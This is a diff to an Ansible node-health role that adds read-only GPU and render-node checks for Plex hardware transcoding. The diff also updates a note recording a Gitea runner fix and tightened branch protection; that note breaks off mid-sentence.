# are the module parameters under /sys/module. Nothing here needs root, so nothing here
|
||||||
|
# belongs in the privileged pass. (GuC/HuC *load* status lives in debugfs, which does need
|
||||||
|
# root AND debugfs mounted; the module PARAMETER below is the unprivileged stand-in and is
|
||||||
|
# what actually decides whether the firmware is loaded at all.)
|
||||||
|
#
|
||||||
|
# THE PCI SCAN IS DELIBERATELY SEPARATE FROM THE DRM SCAN. /sys/class/drm/card* only exists
|
||||||
|
# once a driver has BOUND. A machine whose iGPU is on the bus with no driver bound has no
|
||||||
|
# card0 at all, and that is precisely the failure this is meant to catch — so the display
|
||||||
|
# device is looked for on the PCI bus independently, from sysfs, which is always there.
|
||||||
|
# `lspci` is used ONLY to decorate that with a human-readable name, and it is treated as
|
||||||
|
# optional because it IS optional: pciutils is not declared in node_baseline_packages, so
|
||||||
|
# nothing in this repo guarantees it. It did turn out to be present on all three prod nodes
|
||||||
|
# (/usr/bin/lspci, measured 2026-09-30 — Debian installs pciutils by default), but relying on
|
||||||
|
# that would make the collector depend on an undeclared package. A missing lspci leaves
|
||||||
|
# `description` null, the numeric IDs are reported instead, and no verdict changes.
|
||||||
|
DISPLAY_PCI_CLASS_PREFIX = "0x03" # PCI base class 03 = display controller (VGA/3D/other)
|
||||||
|
# DRM drivers worth reporting the load state of. The bound-driver symlink is authoritative
|
||||||
|
# (a built-in driver never appears in /proc/modules); this is corroboration only, and it is
|
||||||
|
# how "xe.ko.xz exists on disk but is bound to nothing" becomes a visible fact.
|
||||||
|
DRM_MODULES = ("i915", "xe", "amdgpu", "radeon", "nouveau", "nvidia")
|
||||||
|
|
||||||
|
|
||||||
|
def _uid_name(uid):
|
||||||
|
try:
|
||||||
|
return pwd.getpwuid(uid).pw_name
|
||||||
|
except (KeyError, OverflowError, TypeError, OSError):
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def _gid_name(gid):
|
||||||
|
"""Group NAME for a numeric gid, or None when nothing resolves it.
|
||||||
|
|
||||||
|
Reported as an OBSERVED value, never asserted against a literal. The `render` group is
|
||||||
|
a systemd DYNAMIC allocation (it is created by systemd-sysusers, not fixed by Debian's
|
||||||
|
static base-passwd list), so its gid can legitimately differ after a rebuild. Plex's own
|
||||||
|
container init stats the device and joins whatever group owns it, so a moved gid is
|
||||||
|
drift to notice, not a fault to fail on."""
|
||||||
|
try:
|
||||||
|
return grp.getgrgid(gid).gr_name
|
||||||
|
except (KeyError, OverflowError, TypeError, OSError):
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def _module_param(mod, param):
|
||||||
|
"""One /sys/module/<mod>/parameters/<param>, with WHY it is missing when it is.
|
||||||
|
|
||||||
|
Three outcomes that must not be conflated: a real value; "the module exposes no such
|
||||||
|
parameter" (not loaded, built in, or a driver that simply has no such knob — xe has no
|
||||||
|
enable_guc, GuC is mandatory there); and "the file exists but is mode 0400". Most i915
|
||||||
|
module parameters are `i915_param_named(..., 0400, ...)` — root-only — so an
|
||||||
|
unprivileged pass legitimately cannot read them. Returning null with the reason keeps
|
||||||
|
that an honest UNKNOWN instead of a fabricated 0. read_text() also records the
|
||||||
|
permission denial in UNREADABLE, so the summary lists it with everything else root
|
||||||
|
would add."""
|
||||||
|
path = "/sys/module/%s/parameters/%s" % (mod, param)
|
||||||
|
if not os.path.exists(path):
|
||||||
|
return {"value": None, "reason": "%s exposes no %s parameter (module not loaded, "
|
||||||
|
"built in, or no such knob on this driver)" % (mod, param)}
|
||||||
|
value = read_text(path)
|
||||||
|
if value is None:
|
||||||
|
return {"value": None, "reason": "%s is not readable without root (i915 module "
|
||||||
|
"parameters are mode 0400)" % path}
|
||||||
|
return {"value": value, "reason": None}
|
||||||
|
|
||||||
|
|
||||||
|
def _dev_node(path):
|
||||||
|
"""stat() one /dev/dri entry. lstat, so a symlink is reported as the symlink it is."""
|
||||||
|
try:
|
||||||
|
st = os.lstat(path)
|
||||||
|
except OSError as exc:
|
||||||
|
UNREADABLE.append({"path": path, "reason": "stat failed: %s" % exc})
|
||||||
|
return None
|
||||||
|
return {
|
||||||
|
"path": path,
|
||||||
|
"name": os.path.basename(path),
|
||||||
|
"char_device": stat.S_ISCHR(st.st_mode),
|
||||||
|
"mode": "%04o" % stat.S_IMODE(st.st_mode),
|
||||||
|
"uid": st.st_uid,
|
||||||
|
"gid": st.st_gid,
|
||||||
|
"owner": _uid_name(st.st_uid),
|
||||||
|
"group": _gid_name(st.st_gid),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def collect_graphics():
|
||||||
|
dri_dir = "/dev/dri"
|
||||||
|
dri_present = os.path.isdir(dri_dir)
|
||||||
|
devices = []
|
||||||
|
if dri_present:
|
||||||
|
for path in sorted(glob.glob(dri_dir + "/*")):
|
||||||
|
# /dev/dri/by-path/ is a directory of symlinks, not a device. Skipping
|
||||||
|
# directories rather than filtering to char devices is deliberate: anything
|
||||||
|
# in here that is NOT a character special file is an anomaly worth seeing, and
|
||||||
|
# `char_device: false` is how it becomes visible.
|
||||||
|
if os.path.isdir(path):
|
||||||
|
continue
|
||||||
|
entry = _dev_node(path)
|
||||||
|
if entry is not None:
|
||||||
|
devices.append(entry)
|
||||||
|
render_nodes = [d for d in devices if d["name"].startswith("renderD")]
|
||||||
|
|
||||||
|
# Bound DRM devices. /sys/class/drm also holds one entry per CONNECTOR
|
||||||
|
# (card0-HDMI-A-1, card0-DP-1 ...) — those are outputs, not devices, and are skipped.
|
||||||
|
cards = []
|
||||||
|
for cdir in sorted(glob.glob("/sys/class/drm/card[0-9]*")):
|
||||||
|
name = os.path.basename(cdir)
|
||||||
|
if "-" in name:
|
||||||
|
continue
|
||||||
|
driver = None
|
||||||
|
drvlink = cdir + "/device/driver"
|
||||||
|
if os.path.islink(drvlink):
|
||||||
|
driver = os.path.basename(os.path.realpath(drvlink))
|
||||||
|
address = None
|
||||||
|
devlink = cdir + "/device"
|
||||||
|
if os.path.islink(devlink):
|
||||||
|
address = os.path.basename(os.path.realpath(devlink))
|
||||||
|
# i915/xe publish one directory per hardware engine. vcs* is a video (H.264/HEVC)
|
||||||
|
# engine and vecs* the video-enhancement engine: those two are what a transcode
|
||||||
|
# actually runs on, so their presence is the difference between "a GPU is bound"
|
||||||
|
# and "this GPU can do media work".
|
||||||
|
engines = sorted(
|
||||||
|
{
|
||||||
|
os.path.basename(p)
|
||||||
|
for p in (glob.glob(cdir + "/engine/*") + glob.glob(cdir + "/device/engine/*"))
|
||||||
|
if os.path.isdir(p)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
cards.append(
|
||||||
|
{
|
||||||
|
"card": name,
|
||||||
|
"driver": driver,
|
||||||
|
"pci_address": address,
|
||||||
|
"vendor_id": read_text(cdir + "/device/vendor"),
|
||||||
|
"device_id": read_text(cdir + "/device/device"),
|
||||||
|
"engines": engines,
|
||||||
|
"media_engines": [e for e in engines if e.startswith(("vcs", "vecs"))],
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
# Display-class devices on the PCI bus, driver bound or not.
|
||||||
|
pci_display = []
|
||||||
|
for pdir in sorted(glob.glob("/sys/bus/pci/devices/*")):
|
||||||
|
class_id = read_text(pdir + "/class") or ""
|
||||||
|
if not class_id.startswith(DISPLAY_PCI_CLASS_PREFIX):
|
||||||
|
continue
|
||||||
|
address = os.path.basename(pdir)
|
||||||
|
driver = None
|
||||||
|
if os.path.islink(pdir + "/driver"):
|
||||||
|
driver = os.path.basename(os.path.realpath(pdir + "/driver"))
|
||||||
|
description = None
|
||||||
|
rc, out, _ = run(["lspci", "-nn", "-s", address])
|
||||||
|
if rc == 0 and out.strip():
|
||||||
|
description = out.strip().splitlines()[0]
|
||||||
|
pci_display.append(
|
||||||
|
{
|
||||||
|
"address": address,
|
||||||
|
"class_id": class_id or None,
|
||||||
|
"vendor_id": read_text(pdir + "/vendor"),
|
||||||
|
"device_id": read_text(pdir + "/device"),
|
||||||
|
"revision": read_text(pdir + "/revision"),
|
||||||
|
"driver": driver,
|
||||||
|
"description": description,
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
loaded = set()
|
||||||
|
for line in (read_text("/proc/modules") or "").splitlines():
|
||||||
|
fields = line.split()
|
||||||
|
if fields:
|
||||||
|
loaded.add(fields[0])
|
||||||
|
modules = {m: (m in loaded) for m in DRM_MODULES}
|
||||||
|
|
||||||
|
# GuC/HuC. i915's `enable_guc` is a bitmask: 0 = neither, 1 = GuC submission, 2 = HuC
|
||||||
|
# firmware, 3 = both, -1 = whatever the driver defaults to on this platform. It is the
|
||||||
|
# one place the state is visible without root AND without debugfs — but the sysfs file
|
||||||
|
# is mode 0400, so unprivileged it usually reads back as an honest UNKNOWN. The kernel
|
||||||
|
# command line is the world-readable second source: an explicit `i915.enable_guc=` there
|
||||||
|
# is authoritative about what was ASKED for, even when the parameter file cannot be read.
|
||||||
|
uc = {mod: {"enable_guc": _module_param(mod, "enable_guc")} for mod in ("i915", "xe")}
|
||||||
|
cmdline_params = [
|
||||||
|
token
|
||||||
|
for token in (read_text("/proc/cmdline") or "").split()
|
||||||
|
if token.startswith(tuple("%s." % m for m in DRM_MODULES))
|
||||||
|
]
|
||||||
|
|
||||||
|
return {
|
||||||
|
"dri_present": dri_present,
|
||||||
|
"devices": devices,
|
||||||
|
"render_nodes": render_nodes,
|
||||||
|
"drm_cards": cards,
|
||||||
|
"pci_display": pci_display,
|
||||||
|
"modules": modules,
|
||||||
|
"uc": uc,
|
||||||
|
"cmdline_params": cmdline_params,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
# --- Storage ------------------------------------------------------------------------
|
# --- Storage ------------------------------------------------------------------------
|
||||||
PSEUDO_FS = {
|
PSEUDO_FS = {
|
||||||
"proc", "sysfs", "devtmpfs", "devpts", "tmpfs", "cgroup", "cgroup2", "pstore",
|
"proc", "sysfs", "devtmpfs", "devpts", "tmpfs", "cgroup", "cgroup2", "pstore",
|
||||||
@@ -1095,7 +1304,15 @@ def collect_os():
|
|||||||
# we only DETECT, and the role skips the SMART checks with an accurate reason.
|
# we only DETECT, and the role skips the SMART checks with an accurate reason.
|
||||||
def collect_tools():
|
def collect_tools():
|
||||||
tools = {}
|
tools = {}
|
||||||
for tool in ("smartctl", "nvme", "ethtool", "dmidecode", "lsblk", "lscpu"):
|
# lspci (pciutils) and vainfo (libva-utils) are BOTH optional and NEITHER is declared in
|
||||||
|
# node_baseline_packages, so nothing in this repo guarantees either. Measured on prod
|
||||||
|
# 2026-09-30: lspci IS there (/usr/bin/lspci — Debian ships pciutils by default) and
|
||||||
|
# vainfo is NOT. lspci only decorates the PCI display entry with a readable name; vainfo
|
||||||
|
# is not needed on the host at all, because Plex ships its own libva and media driver
|
||||||
|
# inside its container. They are probed so the report can state their presence or absence
|
||||||
|
# as a fact instead of leaving the reader to wonder — and so nothing here is ever tempted
|
||||||
|
# to install them. This role installs nothing.
|
||||||
|
for tool in ("smartctl", "nvme", "ethtool", "dmidecode", "lsblk", "lscpu", "lspci", "vainfo"):
|
||||||
tools[tool] = which(tool)
|
tools[tool] = which(tool)
|
||||||
return tools
|
return tools
|
||||||
|
|
||||||
@@ -1127,6 +1344,7 @@ def main():
|
|||||||
"os": collect_os(),
|
"os": collect_os(),
|
||||||
"dmi": collect_dmi(),
|
"dmi": collect_dmi(),
|
||||||
"cpu": collect_cpu(),
|
"cpu": collect_cpu(),
|
||||||
|
"graphics": collect_graphics(),
|
||||||
"memory": collect_memory(),
|
"memory": collect_memory(),
|
||||||
"thermal": collect_thermal(),
|
"thermal": collect_thermal(),
|
||||||
"pressure": collect_pressure(),
|
"pressure": collect_pressure(),
|
||||||
|
|||||||
@@ -652,6 +652,204 @@
|
|||||||
~ (', lscpu Virtualization=' ~ c.virtualization if c.virtualization else '')
|
~ (', lscpu Virtualization=' ~ c.virtualization if c.virtualization else '')
|
||||||
~ (', running as a guest of ' ~ c.hypervisor_vendor if c.is_virtual_guest | bool else '') }}
|
~ (', running as a guest of ' ~ c.hypervisor_vendor if c.is_virtual_guest | bool else '') }}
|
||||||
|
|
||||||
|
# --- Graphics / render device ----------------------------------------------------------
|
||||||
|
# WHY A HEALTH CHECK AND NOT A NOTE IN A RUNBOOK. Plex transcodes on the iGPU through
|
||||||
|
# /dev/dri/renderD128. When that node stops existing nothing fails loudly — Plex falls back
|
||||||
|
# to software transcoding on its own and the only symptom is a hot CPU and stuttering
|
||||||
|
# clients. A node rebuild, a BIOS setting that disables the onboard IGD, or a kernel that
|
||||||
|
# binds a different DRM driver all produce exactly that silent degradation. It was measured
|
||||||
|
# by hand on all three prod nodes on 2026-09-30 and found working; a fact measured once
|
||||||
|
# decays silently, so it is re-measured on every health run instead.
|
||||||
|
#
|
||||||
|
# READ-ONLY, AND UNPRIVILEGED. Every fact behind these three checks comes from the
|
||||||
|
# unprivileged pass: stat() on /dev/dri, the /sys/class/drm bound-driver symlink,
|
||||||
|
# /sys/bus/pci/devices class codes, /proc/modules and /proc/cmdline. The role installs
|
||||||
|
# nothing (no vainfo, no pciutils), loads no module and changes no group — see the role
|
||||||
|
# README. The ONE fact that is root-gated is i915's enable_guc module parameter (mode 0400),
|
||||||
|
# and it reports as an honest UNKNOWN with the reason rather than as a 0.
|
||||||
|
#
|
||||||
|
# THE THREE VERDICTS ARE SPLIT ON PURPOSE:
|
||||||
|
# graphics.render_device the OUTCOME — can anything hardware-transcode on this node.
|
||||||
|
# graphics.drm_driver the CAUSE side — what is bound, and is it what this site expects.
|
||||||
|
# graphics.media_stack INFO only. GuC/HuC and host VAAPI userspace both belong here and
|
||||||
|
# NEITHER is ever a failure; see the task's own comment for why.
|
||||||
|
- name: Assess — locate the display device and its bound driver (once, shared by three checks)
|
||||||
|
ansible.builtin.set_fact:
|
||||||
|
node_health_render:
|
||||||
|
# Display-class PCI devices (base class 0x03), driver bound or not. This is the
|
||||||
|
# question "is there a GPU in this machine at all", and it is answered from the PCI
|
||||||
|
# bus rather than from /sys/class/drm because a card* entry only exists once a driver
|
||||||
|
# has BOUND — so a GPU with nothing bound to it has no card* and would otherwise look
|
||||||
|
# identical to a machine with no GPU.
|
||||||
|
display_devices: "{{ g.pci_display }}"
|
||||||
|
bound_drivers: >-
|
||||||
|
{{ g.pci_display | map(attribute='driver') | select('string') | unique | list }}
|
||||||
|
# Only a CHARACTER SPECIAL file is a usable render node. Anything else called renderD*
|
||||||
|
# is an anomaly, not a device, and must not be counted as one.
|
||||||
|
render_chardevs: "{{ g.render_nodes | selectattr('char_device') | list }}"
|
||||||
|
# Video (vcs*) and video-enhancement (vecs*) engines across every bound card — the
|
||||||
|
# difference between "a GPU is bound" and "this GPU can do media work".
|
||||||
|
media_engines: >-
|
||||||
|
{{ g.drm_cards | map(attribute='media_engines') | flatten | unique | sort | list }}
|
||||||
|
vars:
|
||||||
|
ansible_become: false
|
||||||
|
g: "{{ node_health_facts.graphics }}"
|
||||||
|
|
||||||
|
- name: Assess — DRM render node for hardware transcoding
|
||||||
|
ansible.builtin.set_fact:
|
||||||
|
node_health_checks: "{{ node_health_checks + [{
|
||||||
|
'id': 'graphics.render_device',
|
||||||
|
'title': 'DRM render node present for hardware transcoding (/dev/dri/renderD*)',
|
||||||
|
'status': render_status,
|
||||||
|
'detail': render_detail }] }}"
|
||||||
|
vars:
|
||||||
|
ansible_become: false
|
||||||
|
g: "{{ node_health_facts.graphics }}"
|
||||||
|
r: "{{ node_health_render }}"
|
||||||
|
# SKIP, not PASS and not FAIL, when the machine has no display device at all: there is
|
||||||
|
# then nothing to grade, and the same convention thermal.max already uses for "no sensor
|
||||||
|
# on this hardware" applies. FAIL is reserved for the state that actually breaks Plex —
|
||||||
|
# a GPU IS on the bus and there is still no render node.
|
||||||
|
render_status: >-
|
||||||
|
{{ 'SKIP' if (r.display_devices | length) == 0
|
||||||
|
else ('PASS' if (r.render_chardevs | length) > 0 else 'FAIL') }}
|
||||||
|
dri_listing: >-
|
||||||
|
{{ (g.devices | map(attribute='name') | join(', ')) if (g.devices | length) > 0
|
||||||
|
else 'nothing' }}
|
||||||
|
render_detail: >-
|
||||||
|
{%- if (r.display_devices | length) == 0 -%}
|
||||||
|
this machine exposes no display-class PCI device (base class 0x03) at all, so there is
|
||||||
|
no GPU here for a render node to belong to and hardware transcoding is not available on
|
||||||
|
this node by construction. Normal for a VM guest. Measured from /sys/bus/pci/devices,
|
||||||
|
not assumed.
|
||||||
|
{%- elif (r.render_chardevs | length) > 0 -%}
|
||||||
|
{{ r.render_chardevs | length }} render node(s):
|
||||||
|
{% for d in r.render_chardevs %}{{ d.path }} (character special, mode {{ d.mode }},
|
||||||
|
owner {{ d.owner | default(d.uid, true) }}, group {{ d.group | default('unresolved', true) }}
|
||||||
|
gid {{ d.gid }}){{ ', ' if not loop.last else '' }}{% endfor %}.
|
||||||
|
/dev/dri holds: {{ dri_listing }}.
|
||||||
|
THE OWNING GROUP AND GID ARE REPORTED AS OBSERVED, NEVER ASSERTED against a literal:
|
||||||
|
`render` is a systemd DYNAMIC allocation rather than a Debian static one, so a rebuilt
|
||||||
|
node may legitimately land on a different number (all three prod nodes read gid 992 on
|
||||||
|
2026-09-30), and Plex's container entrypoint stats the device and joins whichever group
|
||||||
|
owns it. Drift is therefore visible in this line without being a failure.
|
||||||
|
{%- else -%}
|
||||||
|
HARDWARE TRANSCODING IS BROKEN ON THIS NODE. A display-class device IS present on the
|
||||||
|
PCI bus ({{ r.display_devices | map(attribute='address') | join(', ') }}) but there is
|
||||||
|
no usable character-special render node: /dev/dri
|
||||||
|
{{ 'does not exist' if not (g.dri_present | bool) else 'holds ' ~ dri_listing }}.
|
||||||
|
{{ ('Note that /dev/dri holds ' ~ (g.render_nodes | map(attribute='name') | join(', '))
|
||||||
|
~ ' — present, but NOT character special, which is an anomaly in its own right. ')
|
||||||
|
if (g.render_nodes | length) > 0 else '' }}
|
||||||
|
Nothing fails loudly in this state — Plex silently falls back to software transcoding
|
||||||
|
and the only symptom is CPU load. Check graphics.drm_driver below for whether a DRM
|
||||||
|
driver bound at all, then whether the onboard IGD is still enabled in BIOS.
|
||||||
|
{%- endif -%}
|
||||||
|
|
||||||
|
- name: Assess — DRM driver bound to the display device
|
||||||
|
ansible.builtin.set_fact:
|
||||||
|
node_health_checks: "{{ node_health_checks + [{
|
||||||
|
'id': 'graphics.drm_driver',
|
||||||
|
'title': 'DRM driver bound to the display device (expected ' ~ expected ~ ')',
|
||||||
|
'status': driver_status,
|
||||||
|
'detail': driver_detail }] }}"
|
||||||
|
vars:
|
||||||
|
ansible_become: false
|
||||||
|
g: "{{ node_health_facts.graphics }}"
|
||||||
|
r: "{{ node_health_render }}"
|
||||||
|
expected: "{{ node_health_graphics_expected_driver }}"
|
||||||
|
# WARN rather than FAIL when a DIFFERENT driver is bound (the `xe` case): the device
|
||||||
|
# still works, but the userspace media stack is not the same one, so it is a change the
|
||||||
|
# operator must see before a transcode regression surfaces as a user complaint. FAIL is
|
||||||
|
# for nothing bound at all, which is the cause of a missing render node.
|
||||||
|
driver_status: >-
|
||||||
|
{{ 'SKIP' if (r.display_devices | length) == 0
|
||||||
|
else ('FAIL' if (r.bound_drivers | length) == 0
|
||||||
|
else ('PASS' if expected in r.bound_drivers else 'WARN')) }}
|
||||||
|
driver_detail: >-
|
||||||
|
{%- if (r.display_devices | length) == 0 -%}
|
||||||
|
no display-class PCI device on this machine, so no DRM driver can be bound to one.
|
||||||
|
Measured from /sys/bus/pci/devices.
|
||||||
|
{%- else -%}
|
||||||
|
{% for p in r.display_devices %}{{ p.address }}
|
||||||
|
{{ p.description | default(((p.vendor_id | default('?', true)) ~ ':' ~ (p.device_id | default('?', true))), true) }}
|
||||||
|
-> driver {{ p.driver | default('NONE BOUND', true) }}{{ '; ' if not loop.last else '' }}{% endfor %}.
|
||||||
|
{{ ('DRM cards: ' ~ (g.drm_cards | map(attribute='card') | zip(g.drm_cards | map(attribute='driver'))
|
||||||
|
| map('join', '=') | join(', ')) ~ '. ') if (g.drm_cards | length) > 0
|
||||||
|
else 'No /sys/class/drm/card* entry exists, which is consistent with no driver being bound. ' }}
|
||||||
|
Module load state (/proc/modules, corroboration only — a built-in driver never appears
|
||||||
|
there, the bound-driver symlink above is what decides):
|
||||||
|
{{ g.modules | dict2items | map(attribute='key') | zip(g.modules | dict2items | map(attribute='value') | map('string'))
|
||||||
|
| map('join', '=') | join(', ') }}.
|
||||||
|
{%- if (r.bound_drivers | length) == 0 %}
|
||||||
|
NOTHING IS BOUND to the display device. That is why there is no render node: the DRM
|
||||||
|
subsystem creates /dev/dri/renderD* only when a driver attaches. Check whether the
|
||||||
|
module exists for this kernel and whether it was blacklisted or failed to probe.
|
||||||
|
{%- elif expected in r.bound_drivers %}
|
||||||
|
This is the expected driver for this site (node_health_graphics_expected_driver).
|
||||||
|
{%- else %}
|
||||||
|
EXPECTED `{{ expected }}`, GOT `{{ r.bound_drivers | join(', ') }}`. The device still
|
||||||
|
works, so this is not an outage — but the two DRM drivers do not share a userspace
|
||||||
|
media stack, and a libva/iHD build that transcodes correctly against one is not
|
||||||
|
automatically right for the other. Confirm Plex still hardware-transcodes before
|
||||||
|
treating this as benign.
|
||||||
|
{%- endif %}
|
||||||
|
{%- endif -%}
|
||||||
|
|
||||||
|
# INFO ONLY, AND THAT IS A DELIBERATE RULING, NOT AN OVERSIGHT:
|
||||||
|
#
|
||||||
|
# GuC/HuC firmware not loaded (i915.enable_guc=0) — the accepted state on these nodes. It
|
||||||
|
# costs low-power H.264 encode QUALITY, nothing else; decode and encode both still work
|
||||||
|
# through the media engines. Grading it would put a permanent WARN on a configuration the
|
||||||
|
# operator has chosen.
|
||||||
|
# No host VAAPI userspace / no `vainfo` — NOT a defect. Plex ships its own libva and media
|
||||||
|
# driver inside its container, so the host needs neither. Flagging it would invite someone
|
||||||
|
# to `apt install vainfo` on a node to clear a health check, and this role installs nothing.
|
||||||
|
#
|
||||||
|
# The media ENGINES are the fact worth watching in this line: vcs* (video) and vecs*
|
||||||
|
# (video-enhancement) are what a transcode actually runs on.
|
||||||
|
- name: Assess — media engines, GuC/HuC firmware and host VAAPI userspace (informational)
|
||||||
|
ansible.builtin.set_fact:
|
||||||
|
node_health_checks: "{{ node_health_checks + [{
|
||||||
|
'id': 'graphics.media_stack',
|
||||||
|
'title': 'Media engines, GuC/HuC firmware and host VAAPI userspace (informational)',
|
||||||
|
'status': ('SKIP' if (node_health_render.display_devices | length) == 0 else 'INFO'),
|
||||||
|
'detail': media_detail }] }}"
|
||||||
|
vars:
|
||||||
|
ansible_become: false
|
||||||
|
g: "{{ node_health_facts.graphics }}"
|
||||||
|
r: "{{ node_health_render }}"
|
||||||
|
# `.get()` rather than a subscript: uc only carries the two Intel drivers, and a site
|
||||||
|
# that set the expected driver to amdgpu must get a clean "no such parameters" line
|
||||||
|
# instead of an undefined-key traceback.
|
||||||
|
guc: "{{ g.uc.get(node_health_graphics_expected_driver) }}"
|
||||||
|
guc_text: >-
|
||||||
|
{{ ('enable_guc=' ~ guc.enable_guc.value) if (guc is mapping and guc.enable_guc.value is not none)
|
||||||
|
else ('NOT READ — ' ~ (guc.enable_guc.reason | default('no reason recorded', true))
|
||||||
|
if guc is mapping
|
||||||
|
else 'no /sys/module/' ~ node_health_graphics_expected_driver ~ '/parameters at all') }}
|
||||||
|
media_detail: >-
|
||||||
|
{%- if (r.display_devices | length) == 0 -%}
|
||||||
|
no display-class PCI device on this machine, so there is no media engine, no GuC/HuC
|
||||||
|
firmware and nothing to transcode with.
|
||||||
|
{%- else -%}
|
||||||
|
media engines:
|
||||||
|
{{ (r.media_engines | join(', ')) if (r.media_engines | length) > 0
|
||||||
|
else 'NONE exposed under /sys/class/drm/card*/engine — a bound driver with no vcs*/vecs* engine cannot do media work' }}
|
||||||
|
(all engines: {{ (g.drm_cards | map(attribute='engines') | flatten | unique | sort | join(', ')) | default('none', true) }}).
|
||||||
|
GuC/HuC: {{ guc_text }}.
|
||||||
|
{{ ('Kernel cmdline carries ' ~ (g.cmdline_params | join(' '))) if (g.cmdline_params | length) > 0
|
||||||
|
else 'No i915/xe parameter on the kernel cmdline' }}.
|
||||||
|
GuC/HuC being off is a KNOWN, ACCEPTED state here and is never graded: it costs
|
||||||
|
low-power H.264 encode quality only, and both decode and encode still run on the
|
||||||
|
engines above.
|
||||||
|
Host VAAPI userspace: vainfo
|
||||||
|
{{ ('present at ' ~ node_health_facts.tools.vainfo) if node_health_facts.tools.vainfo
|
||||||
|
else 'NOT installed on this host' }}
|
||||||
|
— also never graded, because Plex ships its own libva and media driver inside its
|
||||||
|
container, so the host needs none. This role installs nothing.
|
||||||
|
{%- endif -%}
|
||||||
|
|
||||||
# --- Thermals -----------------------------------------------------------------------
|
# --- Thermals -----------------------------------------------------------------------
|
||||||
- name: Assess — temperatures
|
- name: Assess — temperatures
|
||||||
ansible.builtin.set_fact:
|
ansible.builtin.set_fact:
|
||||||
|
|||||||
@@ -136,6 +136,37 @@
|
|||||||
{% endfor %}
|
{% endfor %}
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
|
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
GRAPHICS / RENDER DEVICE (the Plex hardware-transcoding path)
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
{% set gfx = node_health_facts.graphics %}
|
||||||
|
{% if gfx.pci_display %}
|
||||||
|
{% for p in gfx.pci_display %}
|
||||||
|
pci {{ '%-12s' | format(p.address) }} {{ p.description | default(((p.vendor_id | default('?', true)) ~ ':' ~ (p.device_id | default('?', true)) ~ ' class ' ~ (p.class_id | default('?', true))), true) }}
|
||||||
|
driver {{ p.driver | default('NONE BOUND', true) }}
|
||||||
|
{% endfor %}
|
||||||
|
{% else %}
|
||||||
|
pci no display-class device (PCI base class 0x03) on this machine — no GPU here
|
||||||
|
{% endif %}
|
||||||
|
{% for c in gfx.drm_cards %}
|
||||||
|
drm {{ '%-12s' | format(c.card) }} driver {{ '%-8s' | format(c.driver | default('-', true)) }} at {{ c.pci_address | default('-', true) }} engines {{ c.engines | join(' ') | default('none exposed', true) }}
|
||||||
|
{% endfor %}
|
||||||
|
{% if gfx.dri_present %}
|
||||||
|
{% for d in gfx.devices %}
|
||||||
|
dev {{ '%-12s' | format(d.name) }} {{ '%-18s' | format('character special' if d.char_device else 'NOT A CHAR DEVICE') }} mode {{ d.mode }} {{ d.owner | default(d.uid, true) }}:{{ d.group | default('(gid unresolved)', true) }} gid {{ d.gid }}
|
||||||
|
{% endfor %}
|
||||||
|
{% else %}
|
||||||
|
dev /dev/dri DOES NOT EXIST — no DRM device node on this node at all
|
||||||
|
{% endif %}
|
||||||
|
{# GID is printed, never asserted: `render` is a systemd dynamic allocation, so a rebuild may
|
||||||
|
legitimately move it and Plex's container init joins whichever group owns the device. See
|
||||||
|
defaults/main.yml (node_health_graphics_expected_driver) for the full reasoning. #}
|
||||||
|
{% set guc = gfx.uc.get(node_health_graphics_expected_driver) %}
|
||||||
|
GuC/HuC {{ ('enable_guc=' ~ guc.enable_guc.value) if (guc and guc.enable_guc.value is not none) else (('NOT READ — ' ~ (guc.enable_guc.reason | default('no reason recorded', true))) if guc else ('no /sys/module/' ~ node_health_graphics_expected_driver ~ '/parameters')) | regex_replace('\s+', ' ') | trim | wordwrap(64) | indent(14) }}
|
||||||
|
{{ ('kernel cmdline: ' ~ (gfx.cmdline_params | join(' '))) if gfx.cmdline_params else 'no i915/xe parameter on the kernel cmdline' }}
|
||||||
|
modules {% for m, loaded in gfx.modules.items() %}{{ m }}={{ loaded | string | lower }}{{ ', ' if not loop.last }}{% endfor %} (/proc/modules — corroboration only; the bound-driver symlink above decides)
|
||||||
|
vainfo {{ node_health_facts.tools.vainfo | default('NOT installed on this host — not a defect: Plex ships its own libva/media driver inside its container', true) }}
|
||||||
|
|
||||||
--------------------------------------------------------------------------------
|
--------------------------------------------------------------------------------
|
||||||
PRESSURE STALL (/proc/pressure — % of wall time stalled)
|
PRESSURE STALL (/proc/pressure — % of wall time stalled)
|
||||||
--------------------------------------------------------------------------------
|
--------------------------------------------------------------------------------
|
||||||
|
|||||||
+179
-4
@@ -43,7 +43,159 @@ list. That is precisely the observed symptom: zero runners, pod running, no erro
|
|||||||
looks at. Clearing the PVC is what forces a real re-registration; the script prints the
|
looks at. Clearing the PVC is what forces a real re-registration; the script prints the
|
||||||
commands.
|
commands.
|
||||||
|
|
||||||
## Sequence — order matters
|
## Sequence — DONE 2026-09-29
|
||||||
|
|
||||||
|
All four steps are complete and each was verified, not assumed:
|
||||||
|
|
||||||
|
| Step | State |
|
||||||
|
|---|---|
|
||||||
|
| 1. Runner registered | ✅ `incluster-dind` online. Root cause of its absence was a stale `/data/.runner` identity; clearing the PVC forced re-registration |
|
||||||
|
| 2. Gate observed green on a real PR | ✅ `gate / gate (pull_request)` ~1m35s |
|
||||||
|
| 3. `enable_status_check: true` | ✅ context `gate / gate (pull_request)` — that one ONLY |
|
||||||
|
| 4. Collaborator + approvals | ✅ `jakman85` is owner; `required_approvals: 1` |
|
||||||
|
|
||||||
|
Direct push to `main` was **provoked and rejected** (`pre-receive hook declined`) as
|
||||||
|
`gitea-admin`, a site admin — so push protection is not merely declared, it holds for the
|
||||||
|
account agents authenticate as.
|
||||||
|
|
||||||
|
### 5. Block the admin override — the step the first pass MISSED
|
||||||
|
|
||||||
|
`enable_status_check` and `required_approvals` were set on 2026-09-29 and **still did not
|
||||||
|
bite**, because `block_admin_merge_override` was `false`. Gitea lets repo admins override
|
||||||
|
merge requirements without it, and `jakman85` holds `owner` — so the two settings that looked
|
||||||
|
like the gate were overridable by precisely the account that merges.
|
||||||
|
|
||||||
|
**The evidence was sitting in plain sight:** PRs #5 through #9 all merged with
|
||||||
